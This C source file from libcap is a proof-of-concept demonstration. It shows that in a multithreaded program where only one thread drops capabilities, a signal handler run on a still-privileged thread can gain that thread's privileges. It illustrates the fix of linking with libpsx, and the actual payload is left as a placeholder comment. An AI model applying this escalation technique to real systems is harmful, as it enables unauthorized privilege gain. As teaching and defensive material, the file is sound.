1 /*
2 * Copyright (c) 2020 Andrew G Morgan <[email protected]>
3 *
4 * This program exploit demonstrates why libcap alone in a
5 * multithreaded C/C++ program is inherently vulnerable to privilege
6 * escalation.
7 *
8 * The code also serves as a demonstration of how linking with libpsx
9 * can eliminate this vulnerability by maintaining a process wide
10 * common security state.
11 *
12 * The basic idea (which is well known and why POSIX stipulates "posix
13 * semantics" for security relevant state at the abstraction of a
14 * process) is that, because of shared memory, if a single thread alone
15 * is vulnerable to code injection, then it can cause any other thread
16 * to execute arbitrary code. As such, if all but one thread drops
17 * privilege, privilege escalation is somewhat trivial.
18 */
19
20 /* as per "man sigaction" */
21 #define _POSIX_C_SOURCE 200809L
22
23 #include <pthread.h>
24 #include <signal.h>
25 #include <stdio.h>
26 #include <stdlib.h>
27 #include <sys/capability.h>
28 #include <sys/types.h>
29
30 /* thread coordination */
31 pthread_mutex_t mu;
32 pthread_cond_t cond;
33 int hits;
34
35 /* evidence of highest privilege attained */
36 ssize_t greatest_len;
37 char *text;
38
39 /*
40 * interrupt handler - potentially watching for an opportunity to
41 * perform an exploit when invoked as a privileged thread.
42 */
handler(int signum,siginfo_t * info,void * ignore)43 static void handler(int signum, siginfo_t *info, void *ignore) {
44 ssize_t length;
45 char *working;
46 pthread_mutex_lock(&mu);
47
48 cap_t caps = cap_get_proc();
49 working = cap_to_text(caps, &length);
50 if (length > greatest_len) {
51 /*
52 * This is where the exploit code might go.
53 */
54 cap_free(text);
55 text = working;
56 greatest_len = length;
57 }
58 cap_free(caps);
59 hits++;
60
61 pthread_cond_signal(&cond);
62 pthread_mutex_unlock(&mu);
63
64 }
65
66 /*
67 * privileged thread code (imagine it doing whatever needs privilege).
68 */
victim(void * args)69 static void *victim(void *args) {
70 pthread_mutex_lock(&mu);
71 hits = 1;
72 printf("started privileged thread\n");
73 pthread_cond_signal(&cond);
74 pthread_mutex_unlock(&mu);
75
76 pthread_mutex_lock(&mu);
77 while (hits < 2) {
78 pthread_cond_wait(&cond, &mu);
79 }
80 pthread_mutex_unlock(&mu);
81
82 return NULL;
83 }
84
main(int argc,char ** argv)85 int main(int argc, char **argv) {
86 pthread_t peer;
87 cap_t caps = cap_init();
88 struct sigaction sig_action;
89
90 printf("program starting\n");
91 if (pthread_create(&peer, NULL, victim, NULL)) {
92 perror("unable to start the victim thread");
93 exit(1);
94 }
95
96 /*
97 * Wait until the peer thread is fully up.
98 */
99 pthread_mutex_lock(&mu);
100 while (hits < 1) {
101 pthread_cond_wait(&cond, &mu);
102 }
103 pthread_mutex_unlock(&mu);
104
105 printf("dropping privilege from main process thread\n");
106
107 if (cap_set_proc(caps)) {
108 perror("unable to drop capabilities from main process thread");
109 exit(1);
110 }
111 cap_free(caps);
112
113 /* confirm the low privilege of the process' main thread */
114
115 caps = cap_get_proc();
116 text = cap_to_text(caps, &greatest_len);
117 cap_free(caps);
118
119 printf("no privilege in main process thread: len:%ld, caps:\"%s\"\n",
120 greatest_len, text);
121 if (greatest_len != 1) {
122 printf("failed to lower privilege as expected\n");
123 exit(1);
124 }
125
126 /*
127 * So, we have confirmed that this running thread has no
128 * privilege. From this thread we setup an interrupt handler and
129 * then trigger it on the privileged peer thread.
130 */
131
132 sig_action.sa_sigaction = &handler;
133 sigemptyset(&sig_action.sa_mask);
134 sig_action.sa_flags = SA_SIGINFO | SA_RESTART;;
135 sigaction(SIGRTMIN, &sig_action, NULL);
136
137 pthread_kill(peer, SIGRTMIN);
138
139 /*
140 * Wait for the thread to exit.
141 */
142 pthread_join(peer, NULL);
143
144 /*
145 * Let's see how we did with the exploit.
146 */
147
148 printf("greatest privilege in main process thread: len:%ld, caps:\"%s\"\n",
149 greatest_len, text);
150
151 cap_free(text);
152 if (greatest_len != 1) {
153 printf("exploit succeeded\n");
154 exit(1);
155 }
156
157 printf("exploit failed\n");
158 exit(0);
159 }
160